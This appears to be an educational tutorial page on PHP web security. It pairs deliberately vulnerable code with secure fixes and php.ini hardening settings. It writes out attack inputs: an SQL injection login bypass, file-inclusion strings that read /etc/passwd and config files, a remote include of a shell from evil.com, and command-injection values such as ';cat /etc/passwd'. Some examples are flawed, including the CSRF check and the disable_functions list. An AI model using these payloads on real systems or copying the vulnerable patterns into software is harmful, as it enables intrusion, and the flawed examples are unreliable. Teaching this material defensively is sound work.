PHP for Cyber Security
Master PHP security - understand the vulnerabilities that power most web attacks. From SQL injection to file inclusion, learn the flaws to build secure applications.
Why PHP for Security
PHP powers over 77% of websites with known server-side languages. WordPress, Facebook, Wikipedia, and millions of sites run on PHP. Understanding PHP vulnerabilities is essential for web security.
- Web dominance - Most vulnerable web applications are PHP-based.
- WordPress security - WordPress powers 43% of all websites. Plugin/theme vulnerabilities are PHP.
- Common vulnerabilities - SQL injection, LFI/RFI, command injection are PHP classics.
- Code review - Many security audits involve reviewing PHP codebases.
- CMS security - Joomla, Drupal, Magento are all PHP-based.
PHP has historically had insecure defaults. Many PHP applications still use deprecated functions like mysql_query() and ereg(). Modern PHP (8.x) has improved significantly, but legacy code remains vulnerable.
PHP Basics
<?php
// Variables and arrays
$target = "192.168.1.1";
$ports = [22, 80, 443, 8080];
$scan_result = [
"ip" => $target,
"open_ports" => $ports,
"timestamp" => date("Y-m-d H:i:s")
];
// Super globals (security-relevant)
$_GET["id"]; // URL parameters - ALWAYS USER INPUT
$_POST["data"]; // POST body data
$_REQUEST["param"]; // GET + POST + COOKIE
$_SERVER["REMOTE_ADDR"]; // Client IP
$_FILES["upload"]; // File uploads
$_SESSION["user"]; // Session data
$_COOKIE["token"]; // Cookies
// File operations
$content = file_get_contents("/etc/passwd");
file_put_contents("log.txt", $data, FILE_APPEND);
// Database connection
$conn = new PDO("mysql:host=localhost;dbname=app", $user, $pass);
// NEVER use mysql_* functions - deprecated and insecure!
?>
PHP Web Security
<?php
// === COMMON PHP SECURITY ISSUES ===
// 1. Remote Code Execution via eval()
// DANGEROUS:
eval($_GET["code"]); // Attacker can execute ANY PHP code
// 2. File upload vulnerabilities
// DANGEROUS: No validation
move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
// 3. Session fixation
// DANGEROUS: Session ID from URL
session_id($_GET["sid"]);
session_start();
// 4. Cross-Site Scripting (XSS)
// DANGEROUS: Unescaped output
echo "Welcome, " . $_GET["name"];
// 5. Information disclosure
// DANGEROUS: Displaying errors in production
display_errors = On; // in php.ini - shows full error paths
?>
SQL Injection in PHP
<?php
// === VULNERABLE CODE ===
$username = $_POST["username"];
$password = $_POST["password"];
// DANGEROUS: String concatenation in SQL
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// Attacker can type: admin' OR '1'='1' -- -
// Query becomes: SELECT * FROM users WHERE username='admin' OR '1'='1' -- -' AND password=''
$result = mysql_query($query); // VULNERABLE!
// === SECURE CODE ===
// Method 1: PDO Prepared Statements (RECOMMENDED)
$conn = new PDO($dsn, $user, $pass);
$stmt = $conn->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
":username" => $_POST["username"],
":password" => $_POST["password"]
]);
$user = $stmt->fetch();
// Method 2: mysqli Prepared Statements
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $_POST["username"], $_POST["password"]);
$stmt->execute();
// Method 3: Input validation
$username = preg_replace("/[^a-zA-Z0-9_]/", "", $_POST["username"]);
?>
SQL injection has been the #1 web vulnerability for over 15 years. Always use prepared statements. Never concatenate user input into SQL queries.
File Inclusion (LFI/RFI)
<?php
// === LOCAL FILE INCLUSION (LFI) ===
// DANGEROUS: User-controlled file path
$page = $_GET["page"];
include($page . ".php");
// Attack: ?page=../../../../etc/passwd%00
// Attack: ?page=php://filter/convert.base64-encode/resource=config.php
// === REMOTE FILE INCLUSION (RFI) ===
// DANGEROUS: allow_url_include = On in php.ini
include($_GET["url"]);
// Attack: ?url=http://evil.com/shell.txt
// === PATH TRAVERSAL ===
$file = "/var/www/uploads/" . $_GET["file"];
// Attack: ?file=../../etc/passwd
// Attack: ?file=....//....//....//etc/passwd (bypass filters)
readfile($file);
// === SECURE CODE ===
$allowed = ["home", "about", "contact"];
$page = $_GET["page"];
if (in_array($page, $allowed)) {
include("pages/" . $page . ".php");
} else {
echo "Invalid page";
}
// For file reading - validate path
$base = "/var/www/uploads/";
$file = realpath($base . basename($_GET["file"]));
if (strpos($file, realpath($base)) === 0) {
readfile($file);
}
?>
Command Injection
<?php
// === DANGEROUS: Command Injection ===
// These functions execute system commands
$host = $_GET["host"];
// DANGEROUS - never use with user input!
system("ping -c 4 " . $host);
// Attack: ?host=127.0.0.1;cat /etc/passwd
// Attack: ?host=127.0.0.1|ls -la
// Attack: ?host=127.0.0.1`id`
exec("nmap " . $host, $output);
shell_exec("nslookup " . $host);
passthru("traceroute " . $host);
// Backtick operator: `$cmd` is equivalent to shell_exec($cmd)
// `$id` or `ls` - DANGEROUS with user input
// === SECURE CODE ===
// Method 1: Input validation (whitelist)
$valid_targets = ["8.8.8.8", "8.8.4.4", "1.1.1.1"];
$host = $_GET["host"];
if (in_array($host, $valid_targets) && filter_var($host, FILTER_VALIDATE_IP)) {
$output = shell_exec("ping -c 4 " . escapeshellarg($host));
echo "<pre>$output</pre>";
}
// Method 2: escapeshellarg() (always use with user input)
$host = escapeshellarg($_GET["host"]);
$output = shell_exec("ping -c 4 $host");
// Method 3: Avoid system calls entirely
// Use PHP functions instead of shell commands
// Use gethostbyname() instead of nslookup
// Use fsockopen() instead of nc/ncat
?>
Secure Coding Practices
<?php
// === SECURITY BEST PRACTICES ===
// 1. Password hashing
$hash = password_hash($password, PASSWORD_BCRYPT);
password_verify($input, $hash);
// 2. CSRF Protection
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION["csrf_token"] = $token;
// In form: <input type="hidden" name="token" value="<?= $token ?>">
// On submit: if ($token !== $_SESSION["csrf_token"]) die("Invalid CSRF");
// 3. XSS Prevention
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// For JSON output:
header("Content-Type: application/json");
echo json_encode($data);
// 4. Secure file upload
$allowed_types = ["image/jpeg", "image/png", "image/gif"];
$max_size = 5 * 1024 * 1024; // 5MB
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
if (in_array($mime, $allowed_types) && $_FILES["file"]["size"] <= $max_size) {
$new_name = bin2hex(random_bytes(16)) . ".jpg";
move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $new_name);
}
// 5. Content Security Policy
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: DENY");
// 6. Input validation
$email = filter_var($_POST["email"], FILTER_VALIDATE_EMAIL);
$port = filter_var($_GET["port"], FILTER_VALIDATE_INT, [
"options" => ["min_range" => 1, "max_range" => 65535]
]);
?>
PHP Configuration Hardening
; === SECURITY php.ini SETTINGS ===
; Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,
curl_exec,curl_multi_exec,parse_ini_file,show_source,
allow_url_fopen,allow_url_include
; Error handling - hide details from users
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
; Disable file uploads if not needed
file_uploads = Off
; Session security
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1
session.use_only_cookies = 1
; Disable remote includes
allow_url_include = Off
allow_url_fopen = Off
; Open basedir - restrict file access
open_basedir = /var/www/html:/tmp
; Hide PHP version
expose_php = Off
Set up a PHP lab with DVWA (Damn Vulnerable Web Application) or bWAPP to practice exploiting and defending against these vulnerabilities.
Resources
- PHP Security Manual: php.net/security
- OWASP PHP Security: owasp.org
- DVWA: github.com/digininja/DVWA
- bWAPP: itsecgames.com
- PHP The Right Way: phptherightway.com